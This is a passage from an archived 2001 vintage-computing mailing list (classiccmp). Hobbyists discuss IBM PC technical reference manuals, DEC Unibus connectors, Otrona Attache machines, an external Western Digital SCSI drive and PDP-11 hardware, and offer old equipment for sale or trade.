incorporated on : 1 January, 1998 under the laws of the State of Rhode Island : as a non- profit corporation and is governed by a board of : directors. have you had a chance to think about that road-map for incorporation I suggested some time back? Maybe just a few of the steps you went through to drum up local support, find people willing to sit on the board, etc. Thanks, -doug quebbeman From RCini at congressfinancial.com Wed Jun 13 08:09:55 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref Message-ID: <497A9E0467D2D2119B760090271EB8E5879A24@MAIL10> Hello, all: I was reading an older book on MSDOS and it referred to the "IBM PC Options and Adapters Technical Reference" which supposedly had detailed info and schematics for all of IBM's adapter cards for the PC. It sounds like an interesting addition to my PC technical reference materials. Does anyone have a copy of this that I can copy? Joe Rigdon? Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From rigdonj at intellistar.net Wed Jun 13 08:16:47 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:27 2005 Subject: free stuff: Aydin monitor manual Message-ID: <5.1.0.14.1.20010613091437.022490d0@mailhost.intellistar.net> Does anyone need a "Operation & Maintenance Manual for an Aydin Controls 8810 Patriot Series High Resolution 13 inch Color Monitor"? It dates from about 1984. Joe From ethan_dicks at yahoo.com Wed Jun 13 08:47:40 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:27 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: Message-ID: <20010613134740.10729.qmail@web9507.mail.yahoo.com> --- Tony Duell wrote: > > Also, a quickie question: how many pins are on the Unibus? > > Each DEC edge connector has 36 pins (18 a side, 2 sides). Does anyone know of a modern connector that will substitute for a real DEC connector? The H-11 used a different one for its Q-bus backplane, for example. I am attempting to make a replacement H851 (well, over a dozen, really) so I can restore a PDP-8/e (three core stacks plus an RK8E I just received). In case anyone who knows connectors doesn't know the DEC specs - the pins are on 0.125" centers and the edge connector is somewhat taller than, say an ISA connector or a 5.25" floppy edge connector (it's 0.625", but the Heath connector does not accept the entire length) -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From rigdonj at intellistar.net Wed Jun 13 09:01:28 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879A24@MAIL10> Message-ID: <5.1.0.14.1.20010613095909.0224c2e0@mailhost.intellistar.net> Rich, Nope, I've never seen one. I've had a lot of different tech refs for the various models of IBM computers but I've never seen one just for the adapter cards. However I'll look around for it. Joe At 09:09 AM 6/13/01 -0400, you wrote: >Hello, all: > > I was reading an older book on MSDOS and it referred to the "IBM PC >Options and Adapters Technical Reference" which supposedly had detailed info >and schematics for all of IBM's adapter cards for the PC. It sounds like an >interesting addition to my PC technical reference materials. > > Does anyone have a copy of this that I can copy? Joe Rigdon? > >Rich > >========================== >Richard A. Cini, Jr. >Congress Financial Corporation >1133 Avenue of the Americas >30th Floor >New York, NY 10036 >(212) 545-4402 >(212) 840-6259 (facsimile) From Robert_Feldman at jdedwards.com Wed Jun 13 09:05:27 2001 From: Robert_Feldman at jdedwards.com (Feldman, Robert) Date: Sun Feb 27 19:04:27 2005 Subject: Devoted site to the Otrona Attache? Message-ID: I don't know of any Otrona specific sites, but do you still provide (http://www.gaby.de/sysdisk.htm) the system disks Don? I have a working 8:16 (upgraded to 640K by Brown Enterprises) with both User Guides and a small Service Guide. I have been corresponding with someone in Australia who has the technical manuals and an Otrona that will not keep time or boot. I've been thinking of scanning my Service Guide for this chap. If I do, I will make it available. I will see if we can get his technical manuals scanned, too. I have the CP/M and MS-DOS 2.11e disks. The latter was in development when Otrona went bankrupt, but was distributed by the Attache User's Group out of S.F. I also have some of the sales literature and the last User's Group newsletters and disks (one of which contains a buggy source of the BIOS). BTW, Don, I have a 5027 I will part with (contact me offlist). I got it as a spare (I had heard they often went out) when I took my Otrona to Peru to use with an archaeological project. A fellow archaeologist here in Chicago at the Oriental Institute used his in the Middle East. He got Autodesk to customize AutoCAD (version 1.4) for the Otrona, although apparently, in the end, John Walker felt it was a waste of time. I still have a copy of the Otrona AutoCAD, but don't have the proper mouse or digitizer to use it effectively. Bob Feldman Robert_Feldman@jdedwards.com -----Original Message----- From: Don Maslin [mailto:donm@cts.com] Sent: Tuesday, June 12, 2001 7:17 PM To: classiccmp@classiccmp.org Subject: Re: Devoted site to the Otrona Attache? On Tue, 12 Jun 2001, David Vohs wrote: > Does anyone know where (if?) there are any sites devoted to the Otrona > Attache? I am asking because I not too long ago picked up one of these great > little machines (I know, lucky me!) & was wondering how large (small?) the > remaining user base is. I am unaware of an Otrona site, but I have four of the machines. Wish I knew where to get some CRT 5027 chips at a reasonable price, though. There was also a TI clone whose p/n does not come to me directly. - don > ____________________________________________________________ > David Vohs, Digital Archaeologist & Computer Historian. > Home page: http://www.geocities.com/netsurfer_x1/ > > Computer Collection: > > "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, MPS-801. > "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. > "Delorean": TI-99/4A, TI Speech Synthesizer. > "Monolith": Apple Macintosh Portable. > "Spectrum": Tandy Color Computer 3, Disto 512K RAM board. > "Boombox": Sharp PC-7000. > "Butterfly": Tandy Model 200, PDD, CCR-82. > "Shapeshifter": Epson QX-10, Titan graphics & MS-DOS board, Comrex HDD. > "Scout": Otrona Attache. > ____________________________________________________________ > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > From rigdonj at intellistar.net Wed Jun 13 10:11:35 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:27 2005 Subject: Paratronics Logic Analyzer Message-ID: <5.1.0.14.1.20010613110905.00aceec0@mailhost.intellistar.net> Several months ago I bought a Paratronics Logic Analyzer with it's manual. Someone (in Canada I think) on this list asked me to make them a copy of the manual. I made the copy but lost the message telling who wanted it. If the person that needed will contact me and give me their address I'll get it in the mail to you. Joe From cisin at xenosoft.com Wed Jun 13 11:16:52 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:27 2005 Subject: Devoted site to the Otrona Attache? In-Reply-To: Message-ID: > > Does anyone know where (if?) there are any sites devoted to the Otrona > > Attache? I am asking because I not too long ago picked up one of these > > great little machines (I know, lucky me!) & was wondering how large > > (small?) the remaining user base is. For those not familiar, the Otrona was one of the most compact portable CP/M machines. The base model had a 400K floppy format, but there was an upgrade to 96TPI drives for 800K. There also was an 8088 upgrade with MS-DOS. To promote the concept of a portable machine, Otrona had an ad showing Charlie Chaplin trying to carry an IBM PC on a card table down stairs in front of a building. IBM, however, had actually LICENSED the use of Chaplin's character from his estate. (Chaplin himself would have HATED doing business with IBM!) The late Frank Hatfield loaned me one to play with while it was a current product. -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Wed Jun 13 11:20:48 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... In-Reply-To: <001701c0f3b8$3a7bd560$9cc762d8@idcomm.com> Message-ID: > You're right of course, about the PCB's that are of interest to you, but what > about the ones that aren't? I've often snagged boards, not because I knew and > wanted what they do, but because I knew and wanted what the IC's on the board > could do and I wanted that in my inventory. I once built up a very-wide-word 'ya mean like those really neat rotary switches that we got by scrapping that German machine - think it was called something like "enigma" ... From kfergaso at swbell.net Wed Jun 13 11:47:45 2001 From: kfergaso at swbell.net (Kelly Fergason) Date: Sun Feb 27 19:04:27 2005 Subject: SBUS graphics cards for Suns to get rid of Message-ID: I have some Vitec Rasterflex cards I'm looking to get rid of. double wide SBUS, 3 of them. Also, a single wide that says Bit 3 Computer Corporation, with a connector that has about 62 pins. That card might be the interface to the graphics controller box, but I don't have that. These are for Sun Sparc, and they work in Sparc 2 and 10 systems, (and possibly others). They are untested, though they did work many years ago. Has software on QIC, and manual. Rare!! Upgrade your Sparc 2 to 24bit graphics!!!! Best offer by Thursday afternoon, or I toss them, (or worse, try Ebay...:-)) Please reply off-list to kfergaso@swbell.net for if anyone wants more info. Kelly From cisin at xenosoft.com Wed Jun 13 11:58:54 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref In-Reply-To: <5.1.0.14.1.20010613095909.0224c2e0@mailhost.intellistar.net> Message-ID: "Technical Reference : Options and Adapters" MULTIPLE volumes: Volume 1 (Revised edition April 1984) #6322509 Volume 2 (Revised edition April 1984) #6322509 Volume 3 ~8/84 #8322522 As IBM came out with more stuff, eventually the Technical Reference became too big to fit in one binder. They stopped including the source code for the BIOS!, and split it into multiple books. "Options and Adapters" has a lot of the later stuff that wouldn't fit in the original Technical Reference, such as the GPIB board, the PGA, and the ROLM integrated board, etc. But other than the later additions, the coverage of all of the earlier stuff is no different than in the original Technical Reference. AFTER I figure out just what survived the move, I'll sell my duplicates. (I will have some extras of the volume 1 and 2 sets) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 On Wed, 13 Jun 2001, joe wrote: > Rich, > > Nope, I've never seen one. I've had a lot of different tech refs for > the various models of IBM computers but I've never seen one just for the > adapter cards. However I'll look around for it. > > Joe > > At 09:09 AM 6/13/01 -0400, you wrote: > >Hello, all: > > > > I was reading an older book on MSDOS and it referred to the "IBM PC > >Options and Adapters Technical Reference" which supposedly had detailed info > >and schematics for all of IBM's adapter cards for the PC. It sounds like an > >interesting addition to my PC technical reference materials. > > > > Does anyone have a copy of this that I can copy? Joe Rigdon? > > > >Rich From marvin at rain.org Wed Jun 13 12:02:27 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:27 2005 Subject: OT - Scheduling/Macro Software References: <20010611213046.25852.qmail@web4805.mail.yahoo.com> <3B25401B.9DB5AE77@rain.org> <10106120806.ZM16390@indy.dunnington.u-net.com> Message-ID: <3B279CA3.9353E522@rain.org> Thanks everyone for the ideas of how to schedule a web capture. Since it looks like Unix is the way to go, as soon as I have a bit of time I'll set up the Sun Sparcstation 2 with Solaris 7 (since that is what I have). At that point, I'll be back with more questions :). Thanks again! From ethan_dicks at yahoo.com Wed Jun 13 12:16:05 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:27 2005 Subject: IMSAI EPROMS Message-ID: <20010613171605.37156.qmail@web9504.mail.yahoo.com> Tony Duell wrote: > > 2764s are available everywhere and are cheap. And _every_ modern > programmer can handle them (I've seen a few programmers that can > handle nothing smaller than the 2764). Heh heh. Don't we all collect classic programmers as well? I do. I have three or four including a Data I/O that we used to program 6309 and similar fusible link PROMs for the original model COMBOARD (8Mhz 68000, 32Kb of 2114 SRAM, .5Kb PROM). The one that I use most often is a universal programmer attached to a Commodore Colt. I've asked before about software (I don't have the last rev for it). It's a UP600a. I also have a programmer for the C-64 - "Promenade", I think it's called. While I may be able to program a 2708, I don't think I can do 1702As. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From edick at idcomm.com Wed Jun 13 12:20:53 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive References: Message-ID: <003501c0f42d$3535d540$9cc762d8@idcomm.com> It's about 8" long, x 7" wide x 3" tall, and has a dual DB25 connector at the rear, along with power and a rotary device selector switch. The box is early-Mac-colored. I've probed underneath the rubber pads on the bottom of the box and find no suggestion that there might be screws there, though I could be wrong if they're really short. The way the plastic shell latches together is relaly typical of early MAC stuff, though it might not really be MAC, but maybe Apple-II-something. The interface is pretty clearly SCSI, else it wouldn't be able to identify itself, though it doesn't spin the drive up. Dick ----- Original Message ----- From: "Don Maslin" To: Sent: Tuesday, June 12, 2001 11:17 PM Subject: Re: old external Apple drive > > > On Tue, 12 Jun 2001, Richard Erlacher wrote: > > > I recently was given a Western Digital Hard Disk 20AP, obviously intended for > > use with an Apple computer of some sort. It identifies itself as a Western > > Digital WD1006-something-or-other but doesn't spin up, and that suggests to me > > that there might be an interesting bridge controller in this box. > > Unfortunately, I don't know how to open the box. Does anybody know how that > > might be done? Does anybody know how to operate this device (low-level details, > > not Apple-user instructions)? > > There were a variety of those external drive boxes, Dick. Some snap > together while others have screws hidden under feet, or ??? Can you > describe it? > - don > > > From foo at siconic.com Wed Jun 13 11:25:23 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879A24@MAIL10> Message-ID: On Wed, 13 Jun 2001, Cini, Richard wrote: > I was reading an older book on MSDOS and it referred to the "IBM > PC Options and Adapters Technical Reference" which supposedly had > detailed info and schematics for all of IBM's adapter cards for the > PC. It sounds like an interesting addition to my PC technical > reference materials. I have a copy and, surprise, I actually do know where it is! I just came across it the other day. It's a three volume set, but I'm missing volume 2 presently (I'm sure I have it somewhere else). Contact me directly and we can work out copying details. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From edick at idcomm.com Wed Jun 13 12:29:05 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> <3B275631.5F985993@greenbelt.com> Message-ID: <003601c0f42e$58596360$9cc762d8@idcomm.com> When my WD20AP unit is attached to an ADAPTEC AHA1542B under DOS and allowed to boot with the drive turned on, it "sees" and reports the presence of a device, WD-1006-something which it later reports it can't spin up. It looks like it belongs to the late Apple-II/early MAC period, being shaped and colored to match. (take the color info with a grain of salt, though, since I'm "chromatically challenged.") It's pretty clearly a SCSI device, else the SCSI controller (AHA1542B) would not be able to communicate with it via the SCSI-1<=>DB25 (Comonly used with Apple SCSI ports) adapter cable. I wouldn't bet on a healthy result attaching the device to anything not SCSI. It's possible that my unit had a dead drive in it, at least if there's a bridge controller, which I'd readily believe, but if there's a bridge, it probably wants to be set up, i.e. told what sort of drive it's got, which has to happen from the outside if it can't readily read the drive info from the drive itself, in most cases. Now, a couple of other Apple type external drives with which I've experimented have had customed firmware that prevents the bridge controller from behaving as similar models would behave, possibly requiring that they see the Apple setup routines before doing anything. I'm not at all certain about that. Dick ----- Original Message ----- From: "Eric Chomko" To: Sent: Wednesday, June 13, 2001 6:01 AM Subject: Re: old external Apple drive > > > Mike Ford wrote: > > > >> I recently was given a Western Digital Hard Disk 20AP, obviously > > >>intended for > > >> use with an Apple computer of some sort. It identifies itself as a Western > > > > Why do you say obviously intended for use with an apple? I don't recall > > anything by WD that was for an Apple, or even Apple friendly. 20AP sounds > > more to me like some old parallel interface PC thing. > > I have the WD 40AP. It uses a DB-25 connector and I thought that it was SCSI, but > wasn't convinced for sure. I do remember I didn't find much on the web for it one > way or another. Does anyone know if its SCSI or TTL parallel? Any other info? > > Eric > > > > > From ard at p850ug1.demon.co.uk Wed Jun 13 12:50:29 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... In-Reply-To: <5.1.0.14.1.20010612205739.0224a610@mailhost.intellistar.net> from "joe" at Jun 12, 1 09:01:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 919 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/28a58638/attachment.ksh From ndiablo at diablonet.net Wed Jun 13 09:25:27 2001 From: ndiablo at diablonet.net (Netdiablo) Date: Sun Feb 27 19:04:27 2005 Subject: Questions regarding a PDP11/34a Message-ID: <3B2777D7.4D88ABD7@diablonet.net> Hi everyone! Recently I've been taking a closer look at a system that I rescued last summer from the property disposition department of one of the local higher education concerns - a relatively well-equipped PDP11/34a along with a rather broken RX02 disk drive. As far as I can tell, the PDP11 system is in fine working condition. I had to put a new power cord on it (the old one was chopped off when the system was decommisioned for some reason), but barring that, it powers up and the front panel seems alive. The machine has the following configuration: M8256 PDP11/34a data paths module (KD11-EA) M8266 PDP11/34a control module (KD11-EA) M8204 Microprocessor, DMC-11 code, 1kb memory (KMC11-A) M7867 SDLC or DDCMP sync interface (DUP11-DA) M7867 SDLC or DDCMP sync interface (DUP11-DA) M7856 RS-232 SLU with RTC (DL11-W) BM873-YJ ?? M7859 Front panel console interface (KY11-YB) M9202 Unibus connector M7850 Parity for G651, MS-11 (MM11-BP/CP) G652+H222A 16 kword 16 to 18 bit motherboard with 16 kword 18 bit core stack (MM11-DP) G652+H222A 16 kword 16 to 18 bit motherboard with 16 kword 18 bit core stack (MM11-DP) M9202 Unibus connector M7258 Dataproducts interface printer controller (LP11) I guess I've got a few questions about this machine. They go something like this: 1. Does anyone have the pinouts for the serial line connector on the DL11 board? I've got the board, but the cable had been disconnected from it. 2. Does anyone know what that BM873-YJ board is? I'm just curious. 3. What would be the best way to get this old system running again? I've got no interface to that RX02 drive, and even if I did, I think half of it is pretty well broken - the plastic frame of the disk drive is cracked. I tried to glue it, but even if that worked, I imagine it must be terribly out of alignment now. I thought I remember someone asking about loading software over a serial line? I've got my guesses as to what this system did in a past life. Perhaps it ran as a front-end for the IBM mainframe that the university ran, or perhaps it served as a router-type device on the MichNet network years back.. Maybe it didn't do either of these things. I'm not sure! Thanks for any help! --Sean Caron (root@diablonet.net) | http://www.diablonet.net From ard at p850ug1.demon.co.uk Wed Jun 13 12:59:49 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... In-Reply-To: <001701c0f3b8$3a7bd560$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 12, 1 09:23:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1429 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/a1c2a42a/attachment.ksh From pete at dunnington.u-net.com Wed Jun 13 13:16:36 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:27 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: Ethan Dicks "Unibus (was Re: VMS Documentation CD-ROM &unibus question)" (Jun 13, 6:47) References: <20010613134740.10729.qmail@web9507.mail.yahoo.com> Message-ID: <10106131916.ZM19321@indy.dunnington.u-net.com> On Jun 13, 6:47, Ethan Dicks wrote: > Does anyone know of a modern connector that will substitute for a real > DEC connector? The H-11 used a different one for its Q-bus backplane, > for example. > In case anyone who knows connectors doesn't know the DEC specs - the pins > are on 0.125" centers and the edge connector is somewhat taller than, say > an ISA connector or a 5.25" floppy edge connector (it's 0.625", but the > Heath connector does not accept the entire length) Neither does the genuine DEC connector. The contacts in the connector only use the lowest 0.475" of the card edge, although the contact area extends to 0.56" from the edge of the board. The housing part of course is shaped to ensure you don't plug a dual- or quad-height card in backwards. Anyway, I just checked on an S100 edge connector (same 0.125" pitch), and its contacts are the same depth as the DEC ones. S100 connectors are getting expensive thses days, so cutting them up probably isn't a good option, but I'm sure any standard 1/8" pitch edge connector will do if you're not worried about the keyways. -- Pete Peter Turnbull Network Manager University of York From ard at p850ug1.demon.co.uk Wed Jun 13 13:09:53 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... In-Reply-To: <002c01c0f3b9$1a04dec0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 12, 1 09:29:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2618 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/bfe5a4c8/attachment.ksh From jott at mastif.ee.nd.edu Wed Jun 13 13:23:54 2001 From: jott at mastif.ee.nd.edu (John Ott) Date: Sun Feb 27 19:04:27 2005 Subject: Fastpath 4 boxes available In-Reply-To: <112.3d3c03.285836ae@aol.com>; from SUPRDAVE@aol.com on Tue, Jun 12, 2001 at 11:23:26PM -0400 References: <112.3d3c03.285836ae@aol.com> Message-ID: <20010613132354.H11789@mastif> Hello - I have a micro channel 3com etherlink II and sound card for trade. They came out of an IBM ps/2 model 77. john On Tue, Jun 12, 2001 at 11:23:26PM -0400, SUPRDAVE@aol.com wrote: > I have two of these things available. I think they allow appletalk to tcpip > connections. Prefer to trade for IBM SCSI drives 400m-2g or any PS/2 > accessories. > > -- > DB Young Team OS/2 > > old computers, hot rod pinto and more at: > www.nothingtodo.org -- ************************************************************************ * * * * John Ott * Email: jott@hamming.ee.nd.edu * * Dept. Electrical Engineering * * * 275 Fitzpatrick Hall * * * University of Notre Dame * Phone: (219) 631-7752 * * Notre Dame, IN 46556 USA * Fax: (219) 631-9924 * * * * ************************************************************************ From jrasite at eoni.com Wed Jun 13 13:30:26 2001 From: jrasite at eoni.com (Jim Arnott) Date: Sun Feb 27 19:04:27 2005 Subject: Vintage Mac stuff FS (one time post!) Message-ID: <3B27B12C.F392FDB0@eoni.com> This may incur the wrath of the list but I gotta clean house! Rather than burn list bandwidth, please respond directly to: Thanks for looking. Jim I have a few NICs for vintage Macs if anyone is looking. All are used/tested. (2) IIsi (1) SE/30 (1) LC III $15 ea + postage Other esoterica (Make offer on any of the following...): Apple Personal Modem (1400 baud) Period accessory for IIe/c/128/512/Plus collectors. Apple Adjustable Keyboard (complete but non-functional) 128/512/Plus 10-key keypad Bernoulli Transportable 90 with 4 disks. A bunch of HP plotter pens of various types and colors I also am sitting on a pile of other vintage machines (wife says the "sea of beige" has to go!): IIsi (4) Plus (matched pair) 512K LC LC III (2) IIci (one stock, one hotrod) IIcx LC 520 IIfx w/ 25Mhz Rocket and scsi daughtercard C650 (stock with Q650 specs?) 12" monitors Keyboards and rodents for all the above Imagewriter Swaps? I could use a small hub (4 port?), a couple 64mb+ 168 pin DIMMs and 33k modems! From healyzh at aracnet.com Wed Jun 13 13:34:03 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:27 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <992411201.3b26fe4174d94@email.ou.edu> References: <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> Message-ID: >Well, I didn't have time to get to the MicroVAXish machines this >weekend. Hopefully I'll get to them in the next few days. The one >in the BA123 was not in good shape overall, so I have turned it into >parts to be sold individually. I still have yet to inventory those >parts. :-) I'll keep you posted. I hope you realize that with a MicroVAX II, especially in a BA123, the most desirable part is the chassis itself, even if it's not all there. It took two BA123's and some loose parts from a friend for me to have a complete chassis with all the panels. So I've got one good BA123, and one that can be used, or can be a parts donor to the other. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From chomko at greenbelt.com Wed Jun 13 13:27:23 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:27 2005 Subject: old external Apple drive References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> <3B275631.5F985993@greenbelt.com> <003601c0f42e$58596360$9cc762d8@idcomm.com> Message-ID: <3B27B08B.5069CAB1@greenbelt.com> Richard Erlacher wrote: Alright, I'll try and connect my AP40 to a Mac II I have lying around. I'll let you know what I get under SCSI-probe. Eric > When my WD20AP unit is attached to an ADAPTEC AHA1542B under DOS and allowed to > boot with the drive turned on, it "sees" and reports the presence of a device, > WD-1006-something which it later reports it can't spin up. > > It looks like it belongs to the late Apple-II/early MAC period, being shaped and > colored to match. (take the color info with a grain of salt, though, since I'm > "chromatically challenged.") > > It's pretty clearly a SCSI device, else the SCSI controller (AHA1542B) would not > be able to communicate with it via the SCSI-1<=>DB25 (Comonly used with Apple > SCSI ports) adapter cable. > > I wouldn't bet on a healthy result attaching the device to anything not SCSI. > It's possible that my unit had a dead drive in it, at least if there's a bridge > controller, which I'd readily believe, but if there's a bridge, it probably > wants to be set up, i.e. told what sort of drive it's got, which has to happen > from the outside if it can't readily read the drive info from the drive itself, > in most cases. Now, a couple of other Apple type external drives with which > I've experimented have had customed firmware that prevents the bridge controller > from behaving as similar models would behave, possibly requiring that they see > the Apple setup routines before doing anything. I'm not at all certain about > that. > > Dick > > ----- Original Message ----- > From: "Eric Chomko" > To: > Sent: Wednesday, June 13, 2001 6:01 AM > Subject: Re: old external Apple drive > > > > > > > Mike Ford wrote: > > > > > >> I recently was given a Western Digital Hard Disk 20AP, obviously > > > >>intended for > > > >> use with an Apple computer of some sort. It identifies itself as a > Western > > > > > > Why do you say obviously intended for use with an apple? I don't recall > > > anything by WD that was for an Apple, or even Apple friendly. 20AP sounds > > > more to me like some old parallel interface PC thing. > > > > I have the WD 40AP. It uses a DB-25 connector and I thought that it was SCSI, > but > > wasn't convinced for sure. I do remember I didn't find much on the web for it > one > > way or another. Does anyone know if its SCSI or TTL parallel? Any other info? > > > > Eric > > > > > > > > > > From ard at p850ug1.demon.co.uk Wed Jun 13 13:24:43 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879A24@MAIL10> from "Cini, Richard" at Jun 13, 1 09:09:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2108 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/ffcfb186/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 13 13:28:33 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:27 2005 Subject: Unibus (was Re: VMS Documentation CD-ROM &unibus question) In-Reply-To: <20010613134740.10729.qmail@web9507.mail.yahoo.com> from "Ethan Dicks" at Jun 13, 1 06:47:40 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 956 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/6471b4df/attachment.ksh From SUPRDAVE at aol.com Wed Jun 13 13:39:03 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:27 2005 Subject: Fastpath 4 boxes available Message-ID: In a message dated 6/13/01 1:30:09 PM Central Daylight Time, jott@mastif.ee.nd.edu writes: << I have a micro channel 3com etherlink II and sound card for trade. They came out of an IBM ps/2 model 77. >> have you any details on the sound card? FRU number, or name of it. From ard at p850ug1.demon.co.uk Wed Jun 13 13:32:44 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref In-Reply-To: from "Fred Cisin" at Jun 13, 1 09:58:54 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 829 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/80e0bde0/attachment.ksh From RCini at congressfinancial.com Wed Jun 13 13:53:02 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:27 2005 Subject: PC Adapter Tech Ref Message-ID: <497A9E0467D2D2119B760090271EB8E5879A31@MAIL10> Tony: Actually, Sam Ismail has a complete 3-binder set that he's going to loan to me for copying. I remember looking to purchase the AT TechRef many years ago and I think that it was around $250. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: ard@p850ug1.demon.co.uk [mailto:ard@p850ug1.demon.co.uk] Sent: Wednesday, June 13, 2001 2:25 PM To: classiccmp@classiccmp.org Subject: Re: PC Adapter Tech Ref > > Hello, all: > > I was reading an older book on MSDOS and it referred to the "IBM PC > Options and Adapters Technical Reference" which supposedly had detailed info > and schematics for all of IBM's adapter cards for the PC. It sounds like an > interesting addition to my PC technical reference materials. > > Does anyone have a copy of this that I can copy? Joe Rigdon? I have it, but it's not going to be available for loan. I use it too much. At one point the option cards were covered in the TechRefs for the machines themselves. Then, when it was realised that several manuals contained the same information (after all, many of the options went on serveral machines), the machine TechRefs covered the keyboard, motherboard and PSU only, and the options were covered by the O&A techrefs. Originally it was 2 volums, always sold together by IBM. These cover all the options and adapters that go in the PC and XT machines. Volume 1 covers the expansion cablinet, monitors and printers, volume 2 covers the expansion cards, cables, etc. I think that's right anyway. You get schematics, programming info and often the BIOS source code if applicable (there's the source code for the XT hard disk bios, for example). There are then a lot of suplements. There is one for AT option cards (hard/floppy disk controller, serial/parallel adapter, etc). There's one for the EGA card (this does contain schematics and BIOS sources). There's another complete volume for the 'scientific' options (Data aquisition/control adapter, GPIB card, Professional Graphics Controller (no ROM listings for that :-(). There are also individual suplements for later options, like the 3.5" drives, later hard disks, etc. MAny of the later suplements don't contain schematics or ROM source, though. The older ones do. I have the 2 volume set, the AT supplement, the Scientific O&A volume, the EGA suplement and probably other odd bits. It may still be available from IBM. Last I heard (this was a few years ago), it was out of print but they still had some in stock. It's not cheap, though. -tony From jss at ou.edu Wed Jun 13 14:03:54 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:27 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: References: 